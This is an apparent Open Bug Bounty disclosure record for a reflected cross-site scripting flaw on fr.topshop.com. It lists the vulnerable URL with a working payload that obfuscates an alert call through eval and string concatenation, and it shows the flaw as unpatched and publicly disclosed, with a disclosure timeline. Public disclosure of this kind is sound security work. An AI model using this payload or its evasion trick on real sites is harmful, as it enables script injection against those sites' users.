Lucene search

K
openbugbountyNopernikOBB:76693
HistoryJul 30, 2015 - 2:43 a.m.

fr.topshop.com XSS vulnerability

2015-07-3002:43:00
nopernik
www.openbugbounty.org
10
Vulnerable URL:
http://fr.topshop.com/webapp/wcs/stores/servlet/CatalogNavigationSearchResultCmd?langId=-1&storeId;=13058&catalogId;=34058&Dy;=1&Nty;=1&beginIndex;=1&pageSize;=20&Nrpp;=20&pageNum;=1&Ntt;="-eval("al"%2b"e"%2b"rt(\"xssposed\")")()-"&geoip;=noredirect
Details:
Description Value
Patched: No
Latest check for patch: 25.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
Google Pagerank 4
VIP website status: No
Check fr.topshop.com SSL connection: (Grade: A)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 30 July, 2015 02:43 GMT
Vulnerability existence verified and confirmed 30 July, 2015 02:45 GMT